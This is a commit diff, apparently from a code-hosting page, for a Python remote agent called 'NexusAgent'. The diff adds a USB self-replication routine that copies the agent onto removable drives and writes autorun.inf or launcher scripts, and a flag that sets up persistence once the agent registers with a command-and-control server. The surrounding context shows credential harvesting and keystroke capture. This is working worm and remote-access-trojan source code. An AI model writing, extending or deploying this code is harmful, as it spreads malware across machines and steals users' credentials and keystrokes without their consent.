v2.2.0: USB self-replication (per-node toggle + 10min dispatcher), binder persistence option, hover terminology tooltips, binder embeds current token-injected agent, README full rewrite
This commit is contained in:
@@ -11,8 +11,9 @@ import json
|
||||
import socket
|
||||
import platform
|
||||
import subprocess
|
||||
import shutil
|
||||
import urllib.request
|
||||
AGENT_VERSION = "2.1.0"
|
||||
AGENT_VERSION = "2.2.0"
|
||||
AGENT_TOKEN = '__AGENT_TOKEN__'
|
||||
import urllib.parse
|
||||
import argparse
|
||||
@@ -608,6 +609,79 @@ def execute_structured_action(action_type, payload):
|
||||
|
||||
return json.dumps({"type":"harvest_result","credentials":creds}), 0
|
||||
|
||||
elif action_type == "copy_self_to_usb":
|
||||
# Self-replication: copy the running agent onto every mounted removable drive.
|
||||
# payload: {"mode": "copy"|"autorun", "paths": [override dirs for testing]}
|
||||
mode = payload.get("mode", "copy")
|
||||
self_path = sys.executable if getattr(sys, "frozen", False) else os.path.abspath(__file__)
|
||||
if not os.path.exists(self_path):
|
||||
return "ERROR: cannot resolve self", 1
|
||||
system = platform.system().lower()
|
||||
candidates = []
|
||||
if system == "linux":
|
||||
for base in ("/media", "/run/media", "/mnt"):
|
||||
try:
|
||||
for entry in os.listdir(base):
|
||||
sub = os.path.join(base, entry)
|
||||
if os.path.isdir(sub):
|
||||
try:
|
||||
for vol in os.listdir(sub):
|
||||
candidates.append(os.path.join(sub, vol))
|
||||
except Exception:
|
||||
pass
|
||||
if os.path.ismount(sub):
|
||||
candidates.append(sub)
|
||||
except Exception:
|
||||
pass
|
||||
elif system == "darwin":
|
||||
try:
|
||||
candidates = [os.path.join("/Volumes", v) for v in os.listdir("/Volumes")
|
||||
if not v.startswith(("Macintosh", "com.apple"))]
|
||||
except Exception:
|
||||
candidates = []
|
||||
elif system == "windows":
|
||||
import string, ctypes
|
||||
for letter in string.ascii_uppercase[3:]:
|
||||
drv = letter + ":\\"
|
||||
try:
|
||||
if ctypes.windll.kernel32.GetDriveTypeW(drv) == 2:
|
||||
candidates.append(drv)
|
||||
except Exception:
|
||||
pass
|
||||
overrides = payload.get("paths") or []
|
||||
if overrides:
|
||||
candidates = [c for c in overrides if os.path.isdir(c)]
|
||||
results = []
|
||||
for dest_dir in candidates:
|
||||
try:
|
||||
if not os.access(dest_dir, os.W_OK):
|
||||
results.append("skip(readonly): " + dest_dir)
|
||||
continue
|
||||
exe = "NexusAgent.exe" if system == "windows" else "NexusAgent"
|
||||
dest = os.path.join(dest_dir, exe)
|
||||
shutil.copy2(self_path, dest)
|
||||
try:
|
||||
os.chmod(dest, 0o755)
|
||||
except Exception:
|
||||
pass
|
||||
if mode in ("autorun", "both") and system == "windows":
|
||||
with open(os.path.join(dest_dir, "autorun.inf"), "w") as af:
|
||||
af.write("[autorun]\r\nopen=" + exe + "\r\naction=Install Nexus Agent\r\n")
|
||||
elif mode in ("autorun", "both"):
|
||||
launcher = os.path.join(dest_dir, "run-nexus.sh")
|
||||
with open(launcher, "w") as lf:
|
||||
lf.write("#!/bin/sh\n" + dest + " >/dev/null 2>&1 &\n")
|
||||
try:
|
||||
os.chmod(launcher, 0o755)
|
||||
except Exception:
|
||||
pass
|
||||
results.append("copied: " + dest)
|
||||
except Exception as e:
|
||||
results.append("fail(" + dest_dir + "): " + str(e)[:60])
|
||||
if not candidates:
|
||||
return "No removable drives mounted", 0
|
||||
return "USB replication (" + mode + "): " + "; ".join(results), 0
|
||||
|
||||
elif action_type == "export_diagnostics":
|
||||
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
|
||||
return run_shell(cmd)
|
||||
@@ -722,6 +796,7 @@ def main():
|
||||
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
|
||||
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
|
||||
parser.add_argument("--token", default=os.environ.get("NEXUS_AGENT_TOKEN", "__AGENT_TOKEN__"), help="Agent auth token")
|
||||
parser.add_argument("--persist-first", action="store_true", help="Run ensure_persistence once after registering")
|
||||
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
|
||||
args = parser.parse_args()
|
||||
|
||||
@@ -764,6 +839,13 @@ def main():
|
||||
res = http_post(f"{server_url}/api/agent/register", reg_payload)
|
||||
if res and res.get("success") and not quiet_mode:
|
||||
print(f"✅ Registered as node ID: {node_id}")
|
||||
if args.persist_first:
|
||||
try:
|
||||
execute_structured_action("ensure_persistence", {"server_url": server_url})
|
||||
if not quiet_mode:
|
||||
print("[*] Persistence ensured (--persist-first)")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Start input capture (keystrokes, clicks, scroll)
|
||||
capture_started = start_input_capture()
|
||||
|
||||
Reference in New Issue
Block a user